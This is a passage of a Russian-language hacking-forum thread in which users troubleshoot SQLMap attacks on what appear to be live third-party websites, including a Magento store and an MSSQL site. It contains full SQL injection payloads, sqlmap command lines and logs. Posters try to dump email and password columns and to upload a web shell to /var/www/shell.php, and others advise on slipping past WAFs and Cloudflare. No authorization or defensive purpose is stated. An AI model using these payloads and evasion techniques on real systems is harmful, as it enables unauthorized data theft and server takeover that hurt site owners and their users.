Вопросы по SQLMap

Discussion in 'Уязвимости' started by randman, 1 Oct 2015.

  1. Baskin-Robbins

    Baskin-Robbins Reservists Of Antichat

    Joined:
    15 Sep 2018
    Messages:
    239
    Likes Received:
    809
    Reputations:
    212
    Ошибка на отрицательный лимит
     
    #1121 Baskin-Robbins, 8 May 2021
    Last edited: 9 May 2021
    seostock likes this.
  2. matthhy

    matthhy New Member

    Joined:
    16 Feb 2017
    Messages:
    57
    Likes Received:
    0
    Reputations:
    0
    Подскажите, пожалуйста, отсканировал сайт Acunetix, нашел sql уязвимость, но sqlmap не может пробить ее, думаю из-за WAF. Как понять, какой tamper использовать, или же как вытащить необходимую информацию для sqlmap из Acunetix?
     
  3. joelblack

    joelblack Reservists Of Antichat

    Joined:
    6 Jul 2015
    Messages:
    244
    Likes Received:
    450
    Reputations:
    145
    Это не много не так работает. Сначала необходимо раскрутить уязвимость самому, а потом автоматизировать процесс средствами sqlmap. Соответственно, что бы понять какой тампер использовать - раскрути сначала руками.
     
    K800 and Svan like this.
  4. vladF

    vladF New Member

    Joined:
    5 Dec 2018
    Messages:
    16
    Likes Received:
    0
    Reputations:
    0
    Пытаюсь сдампить данные и вот уже почти час у меня вот такое:
    [INFO] fetching entries of column(s) 'email,passwort' for table....
    Без каких либо движений. Может быть такое,что sqlmap долго считает колличество строк,если база большая?
     
  5. brown

    brown Member

    Joined:
    16 Oct 2016
    Messages:
    265
    Likes Received:
    12
    Reputations:
    1
    sql на магенто
    /result/?q=1'
    Акунетикс нашел sql даже выдернур имя БД

    Code:
    Proof of Exploit
    SQL query - SELECT database()
    
    admin8sasdasd
    При отправке через бурп
    site/result/?q=1'
    Ответ:

    Code:
    HTTP/1.1 503 Service Unavailable
    <pre>SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''/result/''q=1'')' at line 1<br />
    <strong>Trace:</strong>
    <p>Error log record number:
    <address class="copyright">Magento is a trademark of Magento Inc. Copyright &copy; 2010 Magento Inc.</address>
    Но при попытки крутануть мапом! Не видит скулю(
    Пробывал --text-only

    Может какой темпер есть под магенто?
     
  6. winstrool

    winstrool ~~*MasterBlind*~~

    Joined:
    6 Mar 2007
    Messages:
    1,413
    Likes Received:
    910
    Reputations:
    863
    Тут надо руками смотреть, на что срабатывает эррор и руками под это дело подгонять уже тампер.
     
    _________________________
    joelblack likes this.
  7. Рамос

    Рамос Member

    Joined:
    30 Oct 2009
    Messages:
    124
    Likes Received:
    7
    Reputations:
    1
    sqlmap.py -r test.txt --dbms=MySQL --risk=3 --level=5 -p password --technique=E --current-user
    Code:
    [INFO] retrieved: 'root@localhost'
    sqlmap.py -r test.txt --dbms=MySQL --risk=3 --level=5 -p password --technique=E --file-write=C:/shell/shell.txt --file-dest=/var/www/shell.php

    >>Не льет, хотя права есть

    sqlmap.py -r test.txt --dbms=MySQL --risk=3 --level=5 -p password --technique=E --sql-shell

    select user()
    Code:
    [INFO] retrieved: 'root@localhost'
    select 'test' into outfile '/var/www/test.txt'
    Code:
    [WARNING] execution of non-query SQL statements is only available when stacked queries are supported
    
    Что можно попробовать? Или в error-based inj не выполняется into outfile ? load_file работает
     
    #1127 Рамос, 11 Jul 2021
    Last edited: 11 Jul 2021
  8. Baskin-Robbins

    Baskin-Robbins Reservists Of Antichat

    Joined:
    15 Sep 2018
    Messages:
    239
    Likes Received:
    809
    Reputations:
    212
    Привилегии типа FILE != правам на запись в директорию
    +
    вы не показали привилегии юзера, root@localhost не обязательно рутовый пользователь мускула,
    но я думаю вы это знаете.

    По идее должен, так как юнион, еррор и тд различаются по способу получения инфы, т.е. один и тот же запрос
    может быть и union и error и time-based и blind и stack queries, правда это относится не ко всем запросам и субд.

    Правда мне не совсем понятно, почему отработал первый запрос, но ошибка на второй, ну да ладно.
    +

    В вашем случае можно попробовать залить файл в другие директории, либо поискать другой вектор.
     
    #1128 Baskin-Robbins, 12 Jul 2021
    Last edited: 12 Jul 2021
    Рамос and seostock like this.
  9. Рамос

    Рамос Member

    Joined:
    30 Oct 2009
    Messages:
    124
    Likes Received:
    7
    Reputations:
    1
    sqlmap.py -r test.txt --dbms=MySQL --risk=3 --level=5 -p password --privileges -U CU
    Code:
    [23:12:06] [INFO] fetching current user
    [23:12:07] [INFO] retrieved: 'root@localhost'
    
    [*] 'root'@'localhost' (administrator) [28]:
        privilege: ALTER
        privilege: ALTER ROUTINE
        privilege: CREATE
        privilege: CREATE ROUTINE
        privilege: CREATE TABLESPACE
        privilege: CREATE TEMPORARY TABLES
        privilege: CREATE USER
        privilege: CREATE VIEW
        privilege: DELETE
        privilege: DROP
        privilege: EVENT
        privilege: EXECUTE
        privilege: FILE
        privilege: INDEX
        privilege: INSERT
        privilege: LOCK TABLES
        privilege: PROCESS
        privilege: REFERENCES
        privilege: RELOAD
        privilege: REPLICATION CLIENT
        privilege: REPLICATION SLAVE
        privilege: SELECT
        privilege: SHOW DATABASES
        privilege: SHOW VIEW
        privilege: SHUTDOWN
        privilege: SUPER
        privilege: TRIGGER
        privilege: UPDATE
    @@secure_file_priv
    Code:
    sqlmap.py -r test.txt  --dbms=MySQL --risk=3 --level=5 -p password --sql-query="select @@secure_file_priv;"
    [23:18:45] [INFO] fetching SQL SELECT statement query output: 'select @@secure_file_priv'
    [23:18:45] [INFO] resumed: ' '
    select @@secure_file_priv: ' '
    --technique=E
    Code:
    sqlmap.py -r test.txt  --dbms=MySQL --risk=3 --level=5 -p password --sql-query="select 123 into outfile '/tmp/test.txt'" --technique=E
    
    [23:21:25] [WARNING] execution of non-query SQL statements is only available when stacked queries are supported
    --technique=B
    Code:
    sqlmap.py -r test.txt  --dbms=MySQL --risk=3 --level=5 -p password --sql-query="select 123 into outfile '/tmp/test.txt'" --technique=B
    
    [23:22:31] [WARNING] execution of non-query SQL statements is only available when stacked queries are supported
    С правами все нормально, не могу понять только почему не выполняется into outfile
     
    #1129 Рамос, 12 Jul 2021
    Last edited: 12 Jul 2021
  10. Baskin-Robbins

    Baskin-Robbins Reservists Of Antichat

    Joined:
    15 Sep 2018
    Messages:
    239
    Likes Received:
    809
    Reputations:
    212
    ну для начала стоит поставить точку с запятой в последние запросы)) хотя мб в склмап это не нужно,
    давно не юзал.
    +
    https://github.com/sqlmapproject/sqlmap/issues/619
    Вообще ошибка на stacked queries, а в мускуле таких инъекций нет,
    не знаю, я бы включил verbose на максимум, попробовал руками.
    Больше, наверное, ничем не смогу помочь.
     
    #1130 Baskin-Robbins, 13 Jul 2021
    Last edited: 13 Jul 2021
    Рамос and seostock like this.
  11. Рамос

    Рамос Member

    Joined:
    30 Oct 2009
    Messages:
    124
    Likes Received:
    7
    Reputations:
    1
    Тогда уже тут я бессылен. Либо нужно идти в другую тему или забить)

    SELECT user();
    qwe' AND EXTRACTVALUE(2410,CONCAT(0x5c,0x716a706a71,(SELECT MID((IFNULL(CAST(user() AS NCHAR),0x20)),1,21)),0x7176627a71)) AND 'Elwc'='Elwc
    Code:
    General error: 1105 XPATH syntax error: '\qjpjqroot@localhostqvbzq'

    SELECT 123 INTO OUTFILE '/tmp/test.txt';

    qwe' AND EXTRACTVALUE(4149,CONCAT(0x5c,0x716a706a71,(SELECT MID((IFNULL(CAST(123 INTO OUTFILE 0x2f746d702f746573742e747874 AS NCHAR),0x20)),1,21)),0x7176627a71)) AND 'DLgP'='DLgP

    Code:
    SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'INTO OUTFILE 0x2f746d702f746573742e747874 AS NCHAR),0x20)),1,21)),0x7176627a71))' at line 1
    qwe' RLIKE (SELECT (CASE WHEN (ORD(MID((SELECT IFNULL(CAST(123 INTO OUTFILE 0x2f746d702f746573742e747874 AS NCHAR),0x20)),1,1))>1) THEN 0x617364 ELSE 0x28 END)) AND 'yCEr'='yCEr

    Code:
    SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'INTO OUTFILE 0x2f746d702f746573742e747874 AS NCHAR),0x20)),1,1))>1) THEN 0x61736' at line 1
    qwe' LIMIT 0,1 INTO OUTFILE '/tmp/test.txt' LINES TERMINATED BY 0x313233-- -
    Code:
    SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'LIMIT 0,1 INTO OUTFILE '/tmp/test.txt' LINES TERMINATED BY 0x313233-- -')' at line 1
     
    #1131 Рамос, 13 Jul 2021
    Last edited: 14 Jul 2021
  12. birdborn

    birdborn New Member

    Joined:
    15 Jul 2021
    Messages:
    2
    Likes Received:
    0
    Reputations:
    0
    IIS/dbms:mssql
    boolean-based blind/error-based
    1. при technique=B --is-dba=true при technique=E --is-dba=false. почему?
    2. при выводе таблиц (technique=E) [WARNING] the SQL query provided does not return any output(с выводом бд все норм) common-tables выручает, но так как сайт самопис находит только 5 таблиц.
    как заставить скульмап вывести таблицы ?:rolleyes:

    Parameter: #1* ((custom) POST)
    Type: error-based
    Title: Microsoft SQL Server/Sybase OR error-based - WHERE or HAVING clause (CONCAT)
    Payload: cat=-5625) OR 3972=CONCAT(CHAR(113)+CHAR(112)+CHAR(122)+CHAR(118)+CHAR(113),(SELECT (CASE WHEN (3972=3972) THEN CHAR(49) ELSE CHAR(48) END)),CHAR(113)+CHAR(98)+CHAR(98)+CHAR(118)+CHAR(113)) AND (8607=8607
    Vector: OR [RANDNUM]=CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')
    ---
    [INFO] fetching tables for database: db1
    [PAYLOAD] -1789
    [PAYLOAD] -6678) OR 4206=CONCAT(CHAR(113)+CHAR(112)+CHAR(122)+CHAR(118)+CHAR(113),(SELECT COUNT(db1..sysusers.name+CHAR(46)+db1..sysobjects.name AS table_name) FROM db1..sysobjects INNER JOIN db1..sysusers ON db1..sysobjects.uid=db1..sysusers.uid WHERE db1..sysobjects.xtype IN (CHAR(117),CHAR(118))),CHAR(113)+CHAR(98)+CHAR(98)+CHAR(118)+CHAR(113)) AND (2349=2349
    [WARNING] the SQL query provided does not return any output
     
  13. karkajoi

    karkajoi Well-Known Member

    Joined:
    26 Oct 2016
    Messages:
    488
    Likes Received:
    459
    Reputations:
    8
    С клаудом туго, в открытом доступе тамперов под него нету. Как вариант искать реальный ИП ,что не всегда у получается
     
  14. brown

    brown Member

    Joined:
    16 Oct 2016
    Messages:
    265
    Likes Received:
    12
    Reputations:
    1
    Code:
    Parameter: #1* (URI)
        Type: boolean-based blind
        Title: AND boolean-based blind - WHERE or HAVING clause
        Payload: http://' AND 7389=7389-- qoxM
    
        Vector: AND [INFERENCE]
    
        Type: time-based blind
        Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
        Payload: http://' AND (SELECT 9965 FRO
    M (SELECT(SLEEP(5)))umCy)-- CigK
        Vector: AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE]
    ,0,[SLEEPTIME])))))[RANDSTR])
    
        Type: UNION query
        Title: Generic UNION query (NULL) - 5 columns
        Payload: http://:80/blog/category/-2990' UNION ALL SELECT NULL
    ,NULL,NULL,NULL,CONCAT(0x716a707171,0x565a7070474f77495945716a52566b686252457372
    674b776e694f6f6877554c4b564f4b6a4c464a,0x716a7a7071)-- -
        Vector:  UNION ALL SELECT NULL,NULL,NULL,NULL,[QUERY]-- -
    ---
    [06:15:30] [INFO] testing MySQL
    [06:15:30] [DEBUG] performed 0 queries in 0.02 seconds
    [06:15:30] [INFO] confirming MySQL
    [06:15:30] [DEBUG] performed 0 queries in 0.00 seconds
    [06:15:30] [PAYLOAD] -8917' UNION ALL SELECT NULL,NULL,NULL,NULL,CONCAT(0x716a70
    7171,(CASE WHEN (ISNULL(JSON_STORAGE_FREE(NULL))) THEN 1 ELSE 0 END),0x716a7a707
    1)-- -
    [06:15:32] [DEBUG] turning off NATIONAL CHARACTER casting
    [06:15:32] [PAYLOAD] -8379' UNION ALL SELECT NULL,NULL,NULL,NULL,CONCAT(0x716a70
    7171,(CASE WHEN (ISNULL(JSON_STORAGE_FREE(NULL))) THEN 1 ELSE 0 END),0x716a7a707
    1)-- -
    [06:15:34] [DEBUG] performed 2 queries in 4.32 seconds
    [06:15:34] [DEBUG] performed 0 queries in 0.01 seconds
    [06:15:34] [INFO] the back-end DBMS is MySQL
    web application technology: Nginx
    back-end DBMS: MySQL >= 5.0.0 (MariaDB fork)
    [06:15:34] [INFO] fetching tables for database: 'DB'
    [06:15:34] [PAYLOAD] -9852' UNION ALL SELECT NULL,NULL,NULL,NULL,CONCAT(0x716a70
    7171,JSON_ARRAYAGG(CONCAT_WS(0x6f6b6c6a646f,table_name)),0x716a7a7071) FROM INFO
    RMATION_SCHEMA.TABLES WHERE table_schema IN (0x70617266756d)-- -
    [06:15:37] [PAYLOAD] -6604' UNION ALL SELECT NULL,NULL,NULL,NULL,CONCAT(0x716a70
    7171,IFNULL(CAST(COUNT(table_name) AS CHAR),0x20),0x716a7a7071) FROM INFORMATION
    _SCHEMA.TABLES WHERE table_schema IN (0x70617266756d)-- -
    [06:15:40] [WARNING] the SQL query provided does not return any output
    [06:15:40] [WARNING] in case of continuous data retrieval problems you are advis
    ed to try a switch '--no-cast' or switch '--hex'
    [06:15:40] [PAYLOAD] -6180' UNION ALL SELECT NULL,NULL,NULL,NULL,CONCAT(0x716a70
    7171,JSON_ARRAYAGG(CONCAT_WS(0x6f6b6c6a646f,table_name)),0x716a7a7071) FROM mysq
    l.innodb_table_stats WHERE database_name IN (0x70617266756d)-- -
    [06:15:43] [PAYLOAD] -8023' UNION ALL SELECT NULL,NULL,NULL,NULL,CONCAT(0x716a70
    7171,IFNULL(CAST(COUNT(table_name) AS CHAR),0x20),0x716a7a7071) FROM mysql.innod
    b_table_stats WHERE database_name IN (0x70617266756d)-- -
    [06:15:45] [WARNING] the SQL query provided does not return any output
    [06:15:45] [INFO] fetching number of tables for database 'DB'
    [06:15:45] [PAYLOAD] beauty' AND ORD(MID((SELECT IFNULL(CAST(COUNT(table_name) A
    S CHAR),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x70617266756d),
    1,1))>51-- ZVRv
    [06:15:48] [PAYLOAD] beauty' AND ORD(MID((SELECT IFNULL(CAST(COUNT(table_name) A
    S CHAR),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x70617266756d),
    1,1))>48-- ZVRv
    [06:15:51] [PAYLOAD] beauty' AND ORD(MID((SELECT IFNULL(CAST(COUNT(table_name) A
    S CHAR),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x70617266756d),
    1,1))>9-- ZVRv
    [06:15:52] [INFO] retrieved:
    [06:15:52] [DEBUG] performed 3 queries in 6.77 seconds
    multi-threading is considered unsafe in time-based data retrieval. Are you sure
    of your choice (breaking warranty) [y/N] N
    [06:15:52] [DEBUG] used the default behavior, running in batch mode
    [06:15:52] [PAYLOAD] beauty' AND (SELECT 3461 FROM (SELECT(SLEEP(5-(IF(ORD(MID((
    SELECT IFNULL(CAST(COUNT(table_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.TABL
    ES WHERE table_schema=0x70617266756d),1,1))>51,0,5)))))HoOT)-- oDuA
    [06:15:52] [WARNING] time-based comparison requires larger statistical model, pl
    ease wait..................... (done)
    [06:16:00] [CRITICAL] considerable lagging has been detected in connection respo
    nse(s). Please use as high value for option '--time-sec' as possible (e.g. 10 or
     more)
    [06:16:01] [PAYLOAD] beauty' AND (SELECT 3461 FROM (SELECT(SLEEP(5-(IF(ORD(MID((
    SELECT IFNULL(CAST(COUNT(table_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.TABL
    ES WHERE table_schema=0x70617266756d),1,1))>48,0,5)))))HoOT)-- oDuA
    [06:16:01] [WARNING] it is very important to not stress the network connection d
    uring usage of time-based payloads to prevent potential disruptions
    [06:16:02] [PAYLOAD] beauty' AND (SELECT 3461 FROM (SELECT(SLEEP(5-(IF(ORD(MID((
    SELECT IFNULL(CAST(COUNT(table_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.TABL
    ES WHERE table_schema=0x70617266756d),1,1))>9,0,5)))))HoOT)-- oDuA
    [06:16:03] [INFO] retrieved:
    [06:16:03] [DEBUG] performed 3 queries in 11.19 seconds
    [06:16:03] [WARNING] unable to retrieve the number of tables for database 'parfu
    m'
    [06:16:03] [INFO] fetching number of tables for database 'DB'
    [06:16:03] [PAYLOAD] beauty' AND ORD(MID((SELECT IFNULL(CAST(COUNT(table_name) A
    S CHAR),0x20) FROM mysql.innodb_table_stats WHERE database_name=0x70617266756d),
    1,1))>51-- LERK
    [06:16:05] [PAYLOAD] beauty' AND ORD(MID((SELECT IFNULL(CAST(COUNT(table_name) A
    S CHAR),0x20) FROM mysql.innodb_table_stats WHERE database_name=0x70617266756d),
    1,1))>48-- LERK
    [06:16:06] [DEBUG] turning off reflection removal mechanism (for optimization pu
    rposes)
    [06:16:06] [PAYLOAD] beauty' AND ORD(MID((SELECT IFNULL(CAST(COUNT(table_name) A
    S CHAR),0x20) FROM mysql.innodb_table_stats WHERE database_name=0x70617266756d),
    1,1))>9-- LERK
    [06:16:07] [INFO] retrieved:
    [06:16:07] [DEBUG] performed 3 queries in 3.66 seconds
    [06:16:07] [PAYLOAD] beauty' AND (SELECT 5113 FROM (SELECT(SLEEP(5-(IF(ORD(MID((
    SELECT IFNULL(CAST(COUNT(table_name) AS CHAR),0x20) FROM mysql.innodb_table_stat
    s WHERE database_name=0x70617266756d),1,1))>51,0,5)))))FEKR)-- xICj
    [06:16:08] [PAYLOAD] beauty' AND (SELECT 5113 FROM (SELECT(SLEEP(5-(IF(ORD(MID((
    SELECT IFNULL(CAST(COUNT(table_name) AS CHAR),0x20) FROM mysql.innodb_table_stat
    s WHERE database_name=0x70617266756d),1,1))>48,0,5)))))FEKR)-- xICj
    [06:16:09] [PAYLOAD] beauty' AND (SELECT 5113 FROM (SELECT(SLEEP(5-(IF(ORD(MID((
    SELECT IFNULL(CAST(COUNT(table_name) AS CHAR),0x20) FROM mysql.innodb_table_stat
    s WHERE database_name=0x70617266756d),1,1))>9,0,5)))))FEKR)-- xICj
    [06:16:10] [INFO] retrieved:
    [06:16:10] [DEBUG] performed 3 queries in 3.23 seconds
    [06:16:10] [ERROR] unable to retrieve the table names for any database
    do you want to use common table existence check? [y/N/q] N
    [06:16:10] [DEBUG] used the default behavior, running in batch mode
    No tables found
     
  15. msk_smail

    msk_smail New Member

    Joined:
    9 Mar 2016
    Messages:
    50
    Likes Received:
    4
    Reputations:
    0
    Code:
    [06:15:40] [WARNING] in case of continuous data retrieval problems you are advis
    ed to try a switch '--no-cast' or switch '--hex'
    попробуй в начале с этого + уже имеющиеся тамперы, в том числе на select. Указывай verbose 3 и смотри
     
  16. brown

    brown Member

    Joined:
    16 Oct 2016
    Messages:
    265
    Likes Received:
    12
    Reputations:
    1
    не помогло(
     
  17. msk_smail

    msk_smail New Member

    Joined:
    9 Mar 2016
    Messages:
    50
    Likes Received:
    4
    Reputations:
    0
    можно использовать сразу связку из нескольких тамперов + используй --prefix="111'/*!40222" --suffix="*/!'"
    если не помогает, то определи какая waf и попробуй найти как вариант реальный ip сайта
    если и это не выходит то придется вручную писать тампер
     
  18. Xsite

    Xsite Member

    Joined:
    21 Jan 2010
    Messages:
    53
    Likes Received:
    5
    Reputations:
    0
    можно разьеснительную бригаду по поводу префикс суффикс ?
     
  19. brown

    brown Member

    Joined:
    16 Oct 2016
    Messages:
    265
    Likes Received:
    12
    Reputations:
    1
    [08:04:48] [WARNING] there is a possibility that the target (or WAF/IPS) is drop
    ping 'suspicious' requests

    Как можно обойти?

    [08:04:48] [CRITICAL] connection timed out to the target URL. sqlmap is going to
    retry the request(s)
    [08:06:18] [CRITICAL] connection timed out to the target URL
    [08:06:49] [CRITICAL] connection timed out to the target URL. sqlmap is going to
    retry the request(s)
    [08:08:19] [CRITICAL] connection timed out to the target URL
    [08:08:19] [INFO] URI parameter '#1*' appears to be 'OR boolean-based blind - WH
    ERE or HAVING clause (NOT)' injectable (with --string="write")
    [08:08:19] [WARNING] in OR boolean-based injection cases, please consider usage
    of switch '--drop-set-cookie' if you experience any problems during data retriev
    al
    [08:08:19] [INFO] checking if the injection point on URI parameter '#1*' is a fa
    lse positive
    [08:08:49] [CRITICAL] connection timed out to the target URL. sqlmap is going to
    retry the request(s)
    [08:10:19] [CRITICAL] connection timed out to the target URL
    [08:10:49] [CRITICAL] connection timed out to the target URL. sqlmap is going to
    retry the request(s)
    [08:12:19] [CRITICAL] connection timed out to the target URL
    [08:12:19] [WARNING] false positive or unexploitable injection point detected
    [08:12:19] [WARNING] URI parameter '#1*' does not seem to be injectable

    ваф не дает прокрутить скулю
     
  20. ex3x1

    ex3x1 New Member

    Joined:
    14 Sep 2019
    Messages:
    5
    Likes Received:
    0
    Reputations:
    0
    Доброго дня! К примеру знаю что в БД есть строка с почтой [email protected], но имя таблицы и колонки не знаю т.к. они имеют рандомные названия типа "dfdwydponefdxb". Как выполнить поиск по всей БД и найти в какой таблице есть запись с [email protected]?